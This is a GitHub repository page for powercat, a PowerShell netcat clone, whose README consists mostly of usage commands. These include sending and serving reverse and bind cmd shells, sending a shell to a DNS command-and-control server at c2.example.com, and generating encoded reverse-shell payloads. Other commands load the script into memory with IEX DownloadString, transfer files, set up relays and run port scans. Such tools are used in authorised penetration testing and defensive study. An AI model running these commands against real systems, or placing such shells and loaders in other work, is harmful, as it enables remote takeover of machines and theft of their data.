Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

besimorhino / **powercat** Public

Notifications Fork 475 Star 2.1k

Code Issues 8 Pull requests 3 Actions Projects Wiki Security Insights

master Go to file Code

besimorhino Initial commit 4e33fdf · 9 months ago 86 Commits

LICENSE.txt	Initial commit	9 months ago
README.md	Update README.md	7 years ago
powercat.ps1	Align Setup_UDP with Setup_TCP chan...	4 years ago

README Apache-2.0 license

powercat

Netcat: The powershell version. (Powershell Version 2 and Later Supported)

Installation

powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded when powershell starts.

```
Load The Function From Downloaded .ps1 File:
    . .\powercat.ps1
Load The Function From URL:
    IEX (New-Object System.Net.Webclient).DownloadString('https://ra
```

Parameters:

```
-l      Listen for a connection.                             [Switch
-c      Connect to a listener.                               [String
-p      The port to connect to, or listen on.                [String
-e      Execute. (GAPING_SECURITY_HOLE)                      [String
-ep     Execute Powershell.                                  [Switch
-r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String
-u      Transfer data over UDP.                              [Switch
-dns    Transfer data over dns (dnscat2).                    [String
-dnsft  DNS Failure Threshold.                               [int32]
-t      Timeout option. Default: 60                          [int32]
-i      Input: Filepath (string), byte array, or string.     [object
-o      Console Output Type: "Host", "Bytes", or "String"    [String
-of     Output File Path.                                    [String
-d      Disconnect after connecting.                         [Switch
-rep    Repeater. Restart after disconnecting.               [Switch
-g      Generate Payload.                                    [Switch
-ge     Generate Encoded Payload.                            [Switch
-h      Print the help message.                              [Switch
```

Basic Connections

By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.

About

netshell features all in version 2 powershell

Readme

Apache-2.0 license

Activity

2.1k stars

86 watching

475 forks

Report repository

Releases

No releases published

Packages

No packages published

Contributors 4

lukebaggett Luke Baggett

besimorhino

nnamon nnamon

kjacobsen Kieran Jacobsen

Languages

● **PowerShell** 100.0%

```
Basic Client:
    powercat -c 10.1.1.1 -p 443
Basic Listener:
    powercat -l -p 8000
Basic Client, Output as Bytes:
    powercat -c 10.1.1.1 -p 443 -o Bytes
```

File Transfer

powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).

```
Send File:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
    powercat -l -p 8000 -of C:\inputfile
```

Shells

powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.

```
Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
    powercat -l -p 443 -ep
```

DNS and UDP

powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a dnscat2 server with -dns. **Make sure to add "-e open --no-cache" when running the dnscat2 server.**

```
Send Data Over UDP:
    powercat -c 10.1.1.1 -p 8000 -u
    powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on
    powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default D
    powercat -dns c2.example.com -e cmd
```

Relays

Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

```
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
    powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
    powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
    powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
    powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
```

```
TCP Listener to Listener Relay
    powercat -l -p 8000 -r tcp:9000
```

Generate Payloads

Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.

```
Generate a reverse tcp payload which connects back to 10.1.1.15 port
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
    powercat -l -p 8000 -e cmd -ge
```

Misc Usage

powercat can also be used to perform portscans, and start persistent servers.

```
Basic TCP Port Scanner:
    (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep
```